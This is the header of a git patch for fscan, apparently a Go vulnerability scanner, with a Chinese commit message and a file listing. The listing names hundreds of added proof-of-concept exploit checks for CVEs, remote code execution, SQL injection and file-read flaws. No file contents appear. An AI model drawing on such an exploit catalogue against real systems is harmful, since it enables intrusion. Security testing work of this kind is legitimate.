From c2b63a57e2a5fa461562c6f462995f333023a833 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Mon, 1 Sep 2025 22:41:54 +0000 Subject: [PATCH] =?UTF-8?q?refactor:=20=E4=BF=AE=E6=AD=A3=E5=8C=85?= =?UTF-8?q?=E5=91=BD=E5=90=8D=E8=A7=84=E8=8C=83=E5=B9=B6=E4=BF=AE=E5=A4=8D?= =?UTF-8?q?=E7=BC=96=E8=AF=91=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 重命名 Common -> common,WebScan -> webscan,遵循 Go 包命名约定 - 修复模块路径大小写不匹配导致的编译错误 - 清理依赖项,优化 go.mod 文件 - 添加 Docker 测试环境配置文件 - 新增镜像拉取脚本以处理网络超时问题 - 成功编译生成 fscan v2.2.1 可执行文件 该修复解决了 Linux 系统下包名大小写敏感导致的模块解析失败问题。 --- common/ConcurrencyMonitor.go | 137 + common/Flag.go | 419 + common/Parse.go | 503 + common/Ports.go | 19 + common/ProgressManager.go | 457 + common/base/Constants.go | 41 + common/base/Manager.go | 85 + common/base/Plugin.go | 149 + common/common.go | 235 + common/config/PortMapping.go | 81 + common/config/ServiceDict.go | 82 + common/config/Types.go | 150 + common/config/constants.go | 192 + common/globals.go | 196 + common/hostinfo_ext.go | 58 + common/i18n/init.go | 48 + common/i18n/manager.go | 220 + common/i18n/messages/config.go | 79 + common/i18n/messages/constants.go | 13 + common/i18n/messages/core.go | 93 + common/i18n/messages/error.go | 33 + common/i18n/messages/flag.go | 273 + common/i18n/messages/network.go | 67 + common/i18n/messages/output.go | 109 + common/i18n/messages/parse.go | 287 + common/i18n/messages/plugins.go | 903 + common/i18n/messages/scan.go | 287 + common/logging/Formatter.go | 75 + common/logging/Logger.go | 315 + common/logging/Types.go | 103 + common/logging/constants.go | 86 + common/output/Manager.go | 256 + common/output/Types.go | 102 + common/output/Writers.go | 459 + common/output/constants.go | 129 + common/parsers/CredentialParser.go | 365 + common/parsers/FileReader.go | 293 + common/parsers/NetworkParser.go | 369 + common/parsers/Simple.go | 366 + common/parsers/TargetParser.go | 920 + common/parsers/Types.go | 163 + common/parsers/ValidationParser.go | 293 + common/parsers/constants.go | 276 + common/proxy/Factory.go | 14 + common/proxy/Global.go | 22 + common/proxy/HTTPDialer.go | 112 + common/proxy/Manager.go | 337 + common/proxy/TLSDialer.go | 157 + common/proxy/Types.go | 134 + common/proxy/constants.go | 179 + common/target.go | 62 + common/utils/benchmark_test.go | 315 + common/utils/memmonitor.go | 49 + common/utils/slicepool.go | 8 + common/utils/stringbuilder.go | 128 + docker-compose.yml | 339 + go.mod | 20 +- go.sum | 380 +- pull_images.sh | 123 + webscan/InfoScan.go | 98 + webscan/WebScan.go | 325 + webscan/info/Rules.go | 314 + webscan/lib/Check.go | 905 + webscan/lib/Client.go | 320 + webscan/lib/Eval.go | 795 + webscan/lib/Shiro.go | 102 + webscan/lib/http.pb.go | 520 + webscan/lib/http.proto | 38 + webscan/pocs/74cms-sqli-1.yml | 16 + webscan/pocs/74cms-sqli-2.yml | 12 + webscan/pocs/74cms-sqli.yml | 10 + .../CVE-2017-7504-Jboss-serialization-RCE.yml | 11 + webscan/pocs/CVE-2022-22947.yml | 44 + webscan/pocs/CVE-2022-22954-VMware-RCE.yml | 11 + webscan/pocs/CVE-2022-26134.yml | 16 + webscan/pocs/Hotel-Internet-Manage-RCE.yml | 12 + .../pocs/Struts2-062-cve-2021-31805-rce.yml | 31 + .../pocs/active-directory-certsrv-detect.yml | 11 + webscan/pocs/activemq-cve-2016-3088.yml | 34 + webscan/pocs/activemq-default-password.yml | 16 + webscan/pocs/airflow-unauth.yml | 10 + .../pocs/alibaba-canal-default-password.yml | 19 + webscan/pocs/alibaba-canal-info-leak.yml | 12 + webscan/pocs/alibaba-nacos-v1-auth-bypass.yml | 27 + webscan/pocs/alibaba-nacos.yml | 13 + webscan/pocs/amtt-hiboss-server-ping-rce.yml | 18 + .../pocs/apache-ambari-default-password.yml | 11 + .../pocs/apache-axis-webservice-detect.yml | 25 + webscan/pocs/apache-druid-cve-2021-36749.yml | 24 + webscan/pocs/apache-flink-upload-rce.yml | 36 + .../pocs/apache-httpd-cve-2021-40438-ssrf.yml | 12 + ...he-httpd-cve-2021-41773-path-traversal.yml | 16 + .../pocs/apache-httpd-cve-2021-41773-rce.yml | 14 + .../apache-kylin-unauth-cve-2020-13937.yml | 10 + .../apache-nifi-api-unauthorized-access.yml | 12 + .../pocs/apache-ofbiz-cve-2018-8033-xxe.yml | 15 + ...fbiz-cve-2020-9496-xml-deserialization.yml | 19 + webscan/pocs/aspcms-backend-leak.yml | 16 + webscan/pocs/backup-file.yml | 64 + webscan/pocs/bash-cve-2014-6271.yml | 14 + .../pocs/bt742-pma-unauthorized-access.yml | 11 + webscan/pocs/cacti-weathermap-file-write.yml | 15 + .../chinaunicom-modem-default-password.yml | 9 + webscan/pocs/cisco-cve-2020-3452-readfile.yml | 11 + .../citrix-cve-2019-19781-path-traversal.yml | 11 + webscan/pocs/citrix-cve-2020-8191-xss.yml | 18 + .../citrix-cve-2020-8193-unauthorized.yml | 20 + .../pocs/citrix-xenmobile-cve-2020-8209.yml | 11 + webscan/pocs/coldfusion-cve-2010-2861-lfi.yml | 13 + webscan/pocs/confluence-cve-2015-8399.yml | 10 + webscan/pocs/confluence-cve-2019-3396-lfi.yml | 17 + webscan/pocs/confluence-cve-2021-26084.yml | 15 + ...nce-cve-2021-26085-arbitrary-file-read.yml | 12 + webscan/pocs/consul-rexec-rce.yml | 10 + webscan/pocs/consul-service-rce.yml | 10 + webscan/pocs/coremail-cnvd-2019-16798.yml | 12 + webscan/pocs/couchcms-cve-2018-7662.yml | 16 + webscan/pocs/couchdb-cve-2017-12635.yml | 24 + webscan/pocs/couchdb-unauth.yml | 11 + .../craftcms-seomatic-cve-2020-9757-rce.yml | 20 + ...ng-ac-default-password-cnvd-2021-04128.yml | 14 + .../pocs/dedecms-carbuyaction-fileinclude.yml | 22 + webscan/pocs/dedecms-cve-2018-6910.yml | 10 + webscan/pocs/dedecms-cve-2018-7700-rce.yml | 15 + webscan/pocs/dedecms-guestbook-sqli.yml | 26 + webscan/pocs/dedecms-membergroup-sqli.yml | 15 + webscan/pocs/dedecms-url-redirection.yml | 13 + webscan/pocs/discuz-ml3x-cnvd-2019-22239.yml | 22 + webscan/pocs/discuz-v72-sqli.yml | 14 + webscan/pocs/discuz-wechat-plugins-unauth.yml | 11 + webscan/pocs/discuz-wooyun-2010-080723.yml | 17 + webscan/pocs/django-CVE-2018-14574.yml | 12 + webscan/pocs/dlink-850l-info-leak.yml | 17 + webscan/pocs/dlink-cve-2019-16920-rce.yml | 19 + webscan/pocs/dlink-cve-2019-17506.yml | 14 + ...link-cve-2020-25078-account-disclosure.yml | 13 + .../dlink-cve-2020-9376-dump-credentials.yml | 15 + webscan/pocs/dlink-dsl-2888a-rce.yml | 25 + webscan/pocs/docker-api-unauthorized-rce.yml | 12 + webscan/pocs/docker-registry-api-unauth.yml | 16 + webscan/pocs/dotnetcms-sqli.yml | 21 + webscan/pocs/draytek-cve-2020-8515.yml | 15 + webscan/pocs/druid-monitor-unauth.yml | 10 + webscan/pocs/drupal-cve-2014-3704-sqli.yml | 14 + webscan/pocs/drupal-cve-2018-7600-rce.yml | 39 + webscan/pocs/drupal-cve-2019-6340.yml | 33 + webscan/pocs/dubbo-admin-default-password.yml | 20 + webscan/pocs/duomicms-sqli.yml | 13 + webscan/pocs/dvr-cve-2018-9995.yml | 15 + webscan/pocs/e-office-v10-sql-inject.yml | 14 + .../e-office-v9-upload-cnvd-2021-49104.yml | 22 + .../e-zkeco-cnvd-2020-57264-read-file.yml | 10 + .../pocs/ecology-arbitrary-file-upload.yml | 24 + ...ology-filedownload-directory-traversal.yml | 11 + webscan/pocs/ecology-javabeanshell-rce.yml | 16 + ...gy-springframework-directory-traversal.yml | 11 + webscan/pocs/ecology-syncuserinfo-sqli.yml | 15 + webscan/pocs/ecology-v8-sqli.yml | 15 + webscan/pocs/ecology-validate-sqli.yml | 17 + .../ecology-workflowcentertreedata-sqli.yml | 19 + webscan/pocs/ecology-workflowservicexml.yml | 32 + webscan/pocs/ecshop-cnvd-2020-58823-sqli.yml | 13 + webscan/pocs/ecshop-collection-list-sqli.yml | 14 + webscan/pocs/ecshop-login-sqli.yml | 15 + webscan/pocs/ecshop-rce.yml | 27 + .../pocs/eea-info-leak-cnvd-2021-10543.yml | 11 + webscan/pocs/elasticsearch-cve-2014-3120.yml | 45 + webscan/pocs/elasticsearch-cve-2015-1427.yml | 35 + .../pocs/elasticsearch-cve-2015-3337-lfi.yml | 11 + webscan/pocs/elasticsearch-cve-2015-5531.yml | 42 + webscan/pocs/elasticsearch-unauth.yml | 16 + webscan/pocs/etcd-unauth.yml | 29 + webscan/pocs/etcd-v3-unauth.yml | 14 + webscan/pocs/etouch-v2-sqli.yml | 12 + webscan/pocs/exchange-cve-2021-26855-ssrf.yml | 14 + webscan/pocs/eyou-rce.yml | 18 + ...ezoffice-dpwnloadhttp.jsp-filedownload.yml | 13 + webscan/pocs/f5-cve-2021-22986.yml | 20 + webscan/pocs/f5-cve-2022-1388.yml | 21 + webscan/pocs/f5-tmui-cve-2020-5902-rce.yml | 16 + webscan/pocs/fangweicms-sqli.yml | 13 + webscan/pocs/fckeditor-info.yml | 19 + webscan/pocs/feifeicms-lfr.yml | 10 + webscan/pocs/finecms-sqli.yml | 13 + .../pocs/finereport-directory-traversal.yml | 11 + .../finereport-v8-arbitrary-file-read.yml | 11 + webscan/pocs/flexpaper-cve-2018-11686.yml | 38 + .../flink-jobmanager-cve-2020-17519-lfi.yml | 10 + .../fortigate-cve-2018-13379-readfile.yml | 13 + webscan/pocs/frp-dashboard-unauth.yml | 21 + webscan/pocs/gateone-cve-2020-35736.yml | 15 + webscan/pocs/gilacms-cve-2020-5515.yml | 12 + ...itlab-graphql-info-leak-cve-2020-26413.yml | 15 + webscan/pocs/gitlab-ssrf-cve-2021-22214.yml | 14 + webscan/pocs/gitlist-rce-cve-2018-1000533.yml | 25 + .../pocs/glassfish-cve-2017-1000028-lfi.yml | 12 + webscan/pocs/go-pprof-leak.yml | 15 + webscan/pocs/gocd-cve-2021-43287.yml | 17 + ...tabase-web-console-unauthorized-access.yml | 18 + webscan/pocs/h3c-imc-rce.yml | 19 + webscan/pocs/h3c-secparh-any-user-login.yml | 10 + ...-video-platform-cnvd-2020-67113-unauth.yml | 16 + webscan/pocs/hadoop-yarn-unauth.yml | 13 + .../hanming-video-conferencing-file-read.yml | 20 + webscan/pocs/harbor-cve-2019-16097.yml | 24 + webscan/pocs/hikvision-cve-2017-7921.yml | 11 + .../pocs/hikvision-gateway-data-file-read.yml | 15 + webscan/pocs/hikvision-info-leak.yml | 17 + ...sion-intercom-service-default-password.yml | 17 + webscan/pocs/hikvision-showfile-file-read.yml | 13 + ...ion-unauthenticated-rce-cve-2021-36260.yml | 33 + webscan/pocs/hjtcloud-arbitrary-fileread.yml | 12 + webscan/pocs/hjtcloud-directory-file-leak.yml | 11 + .../huawei-home-gateway-hg659-fileread.yml | 10 + webscan/pocs/ifw8-router-cve-2019-16313.yml | 21 + webscan/pocs/iis-put-getshell.yml | 22 + webscan/pocs/influxdb-unauth.yml | 16 + .../pocs/inspur-tscev4-cve-2020-21224-rce.yml | 13 + webscan/pocs/jboss-cve-2010-1871.yml | 15 + webscan/pocs/jboss-unauth.yml | 11 + .../pocs/jeewms-showordownbyurl-fileread.yml | 16 + .../jellyfin-file-read-cve-2021-21402.yml | 10 + webscan/pocs/jenkins-cve-2018-1000600.yml | 13 + webscan/pocs/jenkins-cve-2018-1000861-rce.yml | 14 + webscan/pocs/jenkins-unauthorized-access.yml | 21 + webscan/pocs/jetty-cve-2021-28164.yml | 11 + webscan/pocs/jira-cve-2019-11581.yml | 23 + webscan/pocs/jira-cve-2019-8442.yml | 11 + webscan/pocs/jira-cve-2019-8449.yml | 10 + webscan/pocs/jira-cve-2020-14179.yml | 11 + webscan/pocs/jira-cve-2020-14181.yml | 14 + webscan/pocs/jira-ssrf-cve-2019-8451.yml | 18 + webscan/pocs/joomla-cnvd-2019-34135-rce.yml | 27 + webscan/pocs/joomla-component-vreview-sql.yml | 18 + webscan/pocs/joomla-cve-2015-7297-sqli.yml | 10 + webscan/pocs/joomla-cve-2017-8917-sqli.yml | 8 + webscan/pocs/joomla-cve-2018-7314-sql.yml | 13 + ...omla-ext-zhbaidumap-cve-2018-6605-sqli.yml | 20 + webscan/pocs/jumpserver-unauth-rce.yml | 33 + .../jupyter-notebook-unauthorized-access.yml | 11 + webscan/pocs/kafka-manager-unauth.yml | 11 + webscan/pocs/kibana-cve-2018-17246.yml | 13 + webscan/pocs/kibana-unauth.yml | 11 + .../pocs/kingdee-eas-directory-traversal.yml | 14 + webscan/pocs/kingsoft-v8-default-password.yml | 12 + webscan/pocs/kingsoft-v8-file-read.yml | 13 + webscan/pocs/kong-cve-2020-11710-unauth.yml | 14 + webscan/pocs/kubernetes-unauth.yml | 10 + ...rk-monitoring-account-password-leakage.yml | 16 + .../pocs/landray-oa-custom-jsp-fileread.yml | 18 + webscan/pocs/lanproxy-cve-2021-3019-lfi.yml | 12 + webscan/pocs/laravel-cve-2021-3129.yml | 23 + webscan/pocs/laravel-debug-info-leak.yml | 11 + webscan/pocs/laravel-improper-webdir.yml | 11 + webscan/pocs/maccms-rce.yml | 14 + webscan/pocs/maccmsv10-backdoor.yml | 15 + webscan/pocs/metinfo-cve-2019-16996-sqli.yml | 16 + webscan/pocs/metinfo-cve-2019-16997-sqli.yml | 18 + webscan/pocs/metinfo-cve-2019-17418-sqli.yml | 16 + webscan/pocs/metinfo-file-read.yml | 9 + webscan/pocs/metinfo-lfi-cnvd-2018-13393.yml | 12 + webscan/pocs/minio-default-password.yml | 26 + webscan/pocs/mongo-express-cve-2019-10758.yml | 21 + webscan/pocs/mpsec-isg1000-file-read.yml | 11 + webscan/pocs/msvod-sqli.yml | 12 + webscan/pocs/myucms-lfr.yml | 10 + webscan/pocs/nagio-cve-2018-10735.yml | 15 + webscan/pocs/nagio-cve-2018-10736.yml | 15 + webscan/pocs/nagio-cve-2018-10737.yml | 19 + webscan/pocs/nagio-cve-2018-10738.yml | 19 + webscan/pocs/natshell-arbitrary-file-read.yml | 12 + .../pocs/netentsec-icg-default-password.yml | 11 + webscan/pocs/netentsec-ngfw-rce.yml | 19 + webscan/pocs/netgear-cve-2017-5521.yml | 11 + webscan/pocs/nextjs-cve-2017-16877.yml | 13 + webscan/pocs/nexus-cve-2019-7238.yml | 20 + webscan/pocs/nexus-cve-2020-10199.yml | 21 + webscan/pocs/nexus-cve-2020-10204.yml | 20 + webscan/pocs/nexus-default-password.yml | 15 + .../nexusdb-cve-2020-24571-path-traversal.yml | 11 + webscan/pocs/nhttpd-cve-2019-16278.yml | 19 + ...-red-dashboard-file-read-cve-2021-3223.yml | 10 + .../novnc-url-redirection-cve-2021-3654.yml | 16 + webscan/pocs/nps-default-password.yml | 8 + webscan/pocs/ns-asg-file-read.yml | 11 + webscan/pocs/nsfocus-uts-password-leak.yml | 11 + webscan/pocs/nuuo-file-inclusion.yml | 10 + webscan/pocs/odoo-file-read.yml | 14 + webscan/pocs/openfire-cve-2019-18394-ssrf.yml | 12 + webscan/pocs/opentsdb-cve-2020-35476-rce.yml | 50 + .../pocs/panabit-gateway-default-password.yml | 11 + .../pocs/panabit-ixcache-default-password.yml | 11 + .../pocs/pandorafms-cve-2019-20224-rce.yml | 20 + .../pocs/pbootcms-database-file-download.yml | 11 + webscan/pocs/php-cgi-cve-2012-1823.yml | 14 + webscan/pocs/phpcms-cve-2018-19127.yml | 20 + ...pmyadmin-cve-2018-12613-file-inclusion.yml | 11 + .../pocs/phpmyadmin-setup-deserialization.yml | 13 + webscan/pocs/phpok-sqli.yml | 12 + webscan/pocs/phpshe-sqli.yml | 13 + webscan/pocs/phpstudy-backdoor-rce.yml | 19 + webscan/pocs/phpstudy-nginx-wrong-resolve.yml | 57 + webscan/pocs/phpunit-cve-2017-9841-rce.yml | 13 + .../powercreator-arbitrary-file-upload.yml | 24 + ...metheus-url-redirection-cve-2021-29622.yml | 11 + webscan/pocs/pulse-cve-2019-11510.yml | 14 + webscan/pocs/pyspider-unauthorized-access.yml | 18 + webscan/pocs/qibocms-sqli.yml | 12 + webscan/pocs/qilin-bastion-host-rce.yml | 19 + .../qizhi-fortressaircraft-unauthorized.yml | 12 + webscan/pocs/qnap-cve-2019-7192.yml | 28 + webscan/pocs/rabbitmq-default-password.yml | 16 + webscan/pocs/rails-cve-2018-3760-rce.yml | 19 + webscan/pocs/razor-cve-2018-8770.yml | 12 + webscan/pocs/rconfig-cve-2019-16663.yml | 15 + webscan/pocs/resin-cnnvd-200705-315.yml | 12 + .../pocs/resin-inputfile-fileread-or-ssrf.yml | 11 + webscan/pocs/resin-viewfile-fileread.yml | 12 + webscan/pocs/rockmongo-default-password.yml | 12 + webscan/pocs/ruijie-eg-cli-rce.yml | 35 + webscan/pocs/ruijie-eg-file-read.yml | 32 + webscan/pocs/ruijie-eg-info-leak.yml | 25 + .../pocs/ruijie-eweb-rce-cnvd-2021-09650.yml | 23 + .../ruijie-nbr1300g-cli-password-leak.yml | 15 + webscan/pocs/ruijie-uac-cnvd-2021-14536.yml | 11 + webscan/pocs/ruoyi-management-fileread.yml | 16 + webscan/pocs/saltstack-cve-2020-16846.yml | 17 + .../saltstack-cve-2021-25282-file-write.yml | 22 + webscan/pocs/samsung-wea453e-default-pwd.yml | 13 + webscan/pocs/samsung-wea453e-rce.yml | 16 + webscan/pocs/samsung-wlan-ap-wea453e-rce.yml | 17 + .../sangfor-ad-download.php-filedownload.yml | 13 + webscan/pocs/sangfor-ba-rce.yml | 13 + .../sangfor-edr-arbitrary-admin-login.yml | 13 + webscan/pocs/sangfor-edr-cssp-rce.yml | 15 + webscan/pocs/sangfor-edr-tool-rce.yml | 14 + webscan/pocs/satellian-cve-2020-7980-rce.yml | 20 + webscan/pocs/seacms-before-v992-rce.yml | 16 + webscan/pocs/seacms-rce.yml | 18 + webscan/pocs/seacms-sqli.yml | 11 + webscan/pocs/seacms-v654-rce.yml | 15 + webscan/pocs/seacmsv645-command-exec.yml | 14 + webscan/pocs/secnet-ac-default-password.yml | 15 + webscan/pocs/seeyon-a6-employee-info-leak.yml | 12 + webscan/pocs/seeyon-a6-test-jsp-sql.yml | 13 + .../pocs/seeyon-ajax-unauthorized-access.yml | 16 + .../pocs/seeyon-cnvd-2020-62422-readfile.yml | 11 + .../seeyon-oa-a8-m-information-disclosure.yml | 18 + webscan/pocs/seeyon-oa-cookie-leak.yml | 16 + webscan/pocs/seeyon-session-leak.yml | 10 + webscan/pocs/seeyon-setextno-jsp-sql.yml | 13 + webscan/pocs/seeyon-unauthoried.yml | 19 + .../pocs/seeyon-wooyun-2015-0108235-sqli.yml | 12 + webscan/pocs/seeyon-wooyun-2015-148227.yml | 11 + webscan/pocs/shiro-key.yml | 155 + .../pocs/shiziyu-cms-apicontroller-sqli.yml | 12 + webscan/pocs/shopxo-cnvd-2021-15822.yml | 19 + webscan/pocs/showdoc-default-password.yml | 12 + webscan/pocs/showdoc-uploadfile.yml | 25 + .../pocs/skywalking-cve-2020-9483-sqli.yml | 16 + webscan/pocs/solarwinds-cve-2020-10148.yml | 13 + webscan/pocs/solr-cve-2017-12629-xxe.yml | 19 + webscan/pocs/solr-cve-2019-0193.yml | 30 + webscan/pocs/solr-fileread.yml | 46 + webscan/pocs/solr-velocity-template-rce.yml | 38 + .../pocs/sonarqube-cve-2020-27986-unauth.yml | 11 + webscan/pocs/sonicwall-ssl-vpn-rce.yml | 16 + webscan/pocs/spark-api-unauth.yml | 10 + webscan/pocs/spark-webui-unauth.yml | 8 + webscan/pocs/spon-ip-intercom-ping-rce.yml | 19 + .../pocs/spring-actuator-heapdump-file.yml | 12 + webscan/pocs/spring-cloud-cve-2020-5405.yml | 15 + webscan/pocs/spring-cloud-cve-2020-5410.yml | 12 + webscan/pocs/spring-core-rce.yml | 27 + webscan/pocs/spring-cve-2016-4977.yml | 15 + webscan/pocs/springboot-cve-2021-21234.yml | 22 + webscan/pocs/springboot-env-unauth.yml | 15 + webscan/pocs/springcloud-cve-2019-3799.yml | 14 + webscan/pocs/sql-file.yml | 32 + webscan/pocs/struts2-045.yml | 24 + webscan/pocs/struts2-046-1.yml | 16 + webscan/pocs/supervisord-cve-2017-11610.yml | 24 + webscan/pocs/swagger-ui-unauth.yml | 30 + webscan/pocs/tamronos-iptv-rce.yml | 15 + .../pocs/telecom-gateway-default-password.yml | 17 + webscan/pocs/tensorboard-unauth.yml | 16 + webscan/pocs/terramaster-cve-2020-15568.yml | 20 + .../terramaster-tos-rce-cve-2020-28188.yml | 18 + webscan/pocs/thinkadmin-v6-readfile.yml | 13 + webscan/pocs/thinkcmf-lfi.yml | 13 + webscan/pocs/thinkcmf-write-shell.yml | 18 + webscan/pocs/thinkphp-v6-file-write.yml | 26 + webscan/pocs/thinkphp5-controller-rce.yml | 10 + webscan/pocs/thinkphp5023-method-rce.yml | 24 + webscan/pocs/tianqing-info-leak.yml | 9 + webscan/pocs/tomcat-cve-2017-12615-rce.yml | 22 + webscan/pocs/tomcat-cve-2018-11759.yml | 16 + webscan/pocs/tomcat-manager-weak.yml | 31 + webscan/pocs/tongda-insert-sql-inject.yml | 21 + .../tongda-meeting-unauthorized-access.yml | 13 + .../tongda-oa-v11.9-api.ali.php-upload.yml | 41 + .../pocs/tongda-user-session-disclosure.yml | 13 + webscan/pocs/tongda-v2017-uploadfile.yml | 50 + webscan/pocs/tpshop-directory-traversal.yml | 17 + webscan/pocs/tpshop-sqli.yml | 15 + ...tvt-nvms-1000-file-read-cve-2019-20085.yml | 16 + webscan/pocs/typecho-rce.yml | 21 + .../ueditor-cnvd-2017-20077-file-upload.yml | 17 + webscan/pocs/uwsgi-cve-2018-7490.yml | 10 + .../pocs/vbulletin-cve-2019-16759-bypass.yml | 17 + webscan/pocs/vbulletin-cve-2019-16759.yml | 19 + .../vmware-vcenter-arbitrary-file-read.yml | 18 + .../vmware-vcenter-cve-2021-21985-rce.yml | 33 + ...center-unauthorized-rce-cve-2021-21972.yml | 16 + .../vmware-vrealize-cve-2021-21975-ssrf.yml | 15 + .../pocs/weaver-E-Cology-getSqlData-sqli.yml | 13 + webscan/pocs/weaver-ebridge-file-read.yml | 34 + .../weaver-oa-eoffice-v9-upload-getshell.yml | 25 + webscan/pocs/weblogic-console-weak.yml | 29 + webscan/pocs/weblogic-cve-2017-10271.yml | 34 + webscan/pocs/weblogic-cve-2019-2725.yml | 15082 ++++++++++++++++ webscan/pocs/weblogic-cve-2019-2729-1.yml | 15065 +++++++++++++++ webscan/pocs/weblogic-cve-2019-2729-2.yml | 10473 +++++++++++ webscan/pocs/weblogic-cve-2020-14750.yml | 12 + webscan/pocs/weblogic-ssrf.yml | 11 + webscan/pocs/webmin-cve-2019-15107-rce.yml | 19 + webscan/pocs/weiphp-path-traversal.yml | 23 + webscan/pocs/weiphp-sql.yml | 13 + ...fisky-default-password-cnvd-2021-39012.yml | 13 + .../wordpress-cve-2019-19985-infoleak.yml | 11 + .../wordpress-ext-adaptive-images-lfi.yml | 13 + webscan/pocs/wordpress-ext-mailpress-rce.yml | 23 + webscan/pocs/wuzhicms-v410-sqli.yml | 14 + webscan/pocs/xdcms-sql.yml | 15 + ...uno-bbs-cvnd-2019-01348-reinstallation.yml | 14 + .../pocs/xunchi-cnvd-2020-23735-file-read.yml | 15 + webscan/pocs/yapi-rce.yml | 84 + webscan/pocs/yccms-rce.yml | 14 + webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml | 16 + webscan/pocs/yonyou-grp-u8-sqli.yml | 15 + .../pocs/yonyou-nc-arbitrary-file-upload.yml | 26 + .../yonyou-nc-bsh-servlet-bshservlet-rce.yml | 14 + webscan/pocs/yonyou-u8-oa-sqli.yml | 14 + .../pocs/youphptube-encoder-cve-2019-5127.yml | 20 + .../pocs/youphptube-encoder-cve-2019-5128.yml | 20 + .../pocs/youphptube-encoder-cve-2019-5129.yml | 20 + webscan/pocs/yungoucms-sqli.yml | 14 + webscan/pocs/zabbix-authentication-bypass.yml | 11 + webscan/pocs/zabbix-cve-2016-10134-sqli.yml | 14 + webscan/pocs/zabbix-default-password.yml | 11 + webscan/pocs/zcms-v3-sqli.yml | 12 + ...dejs-cve-2020-5284-directory-traversal.yml | 11 + webscan/pocs/zeroshell-cve-2019-12725-rce.yml | 16 + webscan/pocs/zimbra-cve-2019-9670-xxe.yml | 19 + webscan/pocs/zzcms-zsmanage-sqli.yml | 25 + 455 files changed, 62571 insertions(+), 392 deletions(-) create mode 100644 common/ConcurrencyMonitor.go create mode 100644 common/Flag.go create mode 100644 common/Parse.go create mode 100644 common/Ports.go create mode 100644 common/ProgressManager.go create mode 100644 common/base/Constants.go create mode 100644 common/base/Manager.go create mode 100644 common/base/Plugin.go create mode 100644 common/common.go create mode 100644 common/config/PortMapping.go create mode 100644 common/config/ServiceDict.go create mode 100644 common/config/Types.go create mode 100644 common/config/constants.go create mode 100644 common/globals.go create mode 100644 common/hostinfo_ext.go create mode 100644 common/i18n/init.go create mode 100644 common/i18n/manager.go create mode 100644 common/i18n/messages/config.go create mode 100644 common/i18n/messages/constants.go create mode 100644 common/i18n/messages/core.go create mode 100644 common/i18n/messages/error.go create mode 100644 common/i18n/messages/flag.go create mode 100644 common/i18n/messages/network.go create mode 100644 common/i18n/messages/output.go create mode 100644 common/i18n/messages/parse.go create mode 100644 common/i18n/messages/plugins.go create mode 100644 common/i18n/messages/scan.go create mode 100644 common/logging/Formatter.go create mode 100644 common/logging/Logger.go create mode 100644 common/logging/Types.go create mode 100644 common/logging/constants.go create mode 100644 common/output/Manager.go create mode 100644 common/output/Types.go create mode 100644 common/output/Writers.go create mode 100644 common/output/constants.go create mode 100644 common/parsers/CredentialParser.go create mode 100644 common/parsers/FileReader.go create mode 100644 common/parsers/NetworkParser.go create mode 100644 common/parsers/Simple.go create mode 100644 common/parsers/TargetParser.go create mode 100644 common/parsers/Types.go create mode 100644 common/parsers/ValidationParser.go create mode 100644 common/parsers/constants.go create mode 100644 common/proxy/Factory.go create mode 100644 common/proxy/Global.go create mode 100644 common/proxy/HTTPDialer.go create mode 100644 common/proxy/Manager.go create mode 100644 common/proxy/TLSDialer.go create mode 100644 common/proxy/Types.go create mode 100644 common/proxy/constants.go create mode 100644 common/target.go create mode 100644 common/utils/benchmark_test.go create mode 100644 common/utils/memmonitor.go create mode 100644 common/utils/slicepool.go create mode 100644 common/utils/stringbuilder.go create mode 100644 docker-compose.yml create mode 100755 pull_images.sh create mode 100644 webscan/InfoScan.go create mode 100644 webscan/WebScan.go create mode 100644 webscan/info/Rules.go create mode 100644 webscan/lib/Check.go create mode 100644 webscan/lib/Client.go create mode 100644 webscan/lib/Eval.go create mode 100644 webscan/lib/Shiro.go create mode 100644 webscan/lib/http.pb.go create mode 100644 webscan/lib/http.proto create mode 100644 webscan/pocs/74cms-sqli-1.yml create mode 100644 webscan/pocs/74cms-sqli-2.yml create mode 100644 webscan/pocs/74cms-sqli.yml create mode 100644 webscan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml create mode 100644 webscan/pocs/CVE-2022-22947.yml create mode 100644 webscan/pocs/CVE-2022-22954-VMware-RCE.yml create mode 100644 webscan/pocs/CVE-2022-26134.yml create mode 100644 webscan/pocs/Hotel-Internet-Manage-RCE.yml create mode 100644 webscan/pocs/Struts2-062-cve-2021-31805-rce.yml create mode 100644 webscan/pocs/active-directory-certsrv-detect.yml create mode 100644 webscan/pocs/activemq-cve-2016-3088.yml create mode 100644 webscan/pocs/activemq-default-password.yml create mode 100644 webscan/pocs/airflow-unauth.yml create mode 100644 webscan/pocs/alibaba-canal-default-password.yml create mode 100644 webscan/pocs/alibaba-canal-info-leak.yml create mode 100644 webscan/pocs/alibaba-nacos-v1-auth-bypass.yml create mode 100644 webscan/pocs/alibaba-nacos.yml create mode 100644 webscan/pocs/amtt-hiboss-server-ping-rce.yml create mode 100644 webscan/pocs/apache-ambari-default-password.yml create mode 100644 webscan/pocs/apache-axis-webservice-detect.yml create mode 100644 webscan/pocs/apache-druid-cve-2021-36749.yml create mode 100644 webscan/pocs/apache-flink-upload-rce.yml create mode 100644 webscan/pocs/apache-httpd-cve-2021-40438-ssrf.yml create mode 100644 webscan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml create mode 100644 webscan/pocs/apache-httpd-cve-2021-41773-rce.yml create mode 100644 webscan/pocs/apache-kylin-unauth-cve-2020-13937.yml create mode 100644 webscan/pocs/apache-nifi-api-unauthorized-access.yml create mode 100644 webscan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml create mode 100644 webscan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml create mode 100644 webscan/pocs/aspcms-backend-leak.yml create mode 100644 webscan/pocs/backup-file.yml create mode 100644 webscan/pocs/bash-cve-2014-6271.yml create mode 100644 webscan/pocs/bt742-pma-unauthorized-access.yml create mode 100644 webscan/pocs/cacti-weathermap-file-write.yml create mode 100644 webscan/pocs/chinaunicom-modem-default-password.yml create mode 100644 webscan/pocs/cisco-cve-2020-3452-readfile.yml create mode 100644 webscan/pocs/citrix-cve-2019-19781-path-traversal.yml create mode 100644 webscan/pocs/citrix-cve-2020-8191-xss.yml create mode 100644 webscan/pocs/citrix-cve-2020-8193-unauthorized.yml create mode 100644 webscan/pocs/citrix-xenmobile-cve-2020-8209.yml create mode 100644 webscan/pocs/coldfusion-cve-2010-2861-lfi.yml create mode 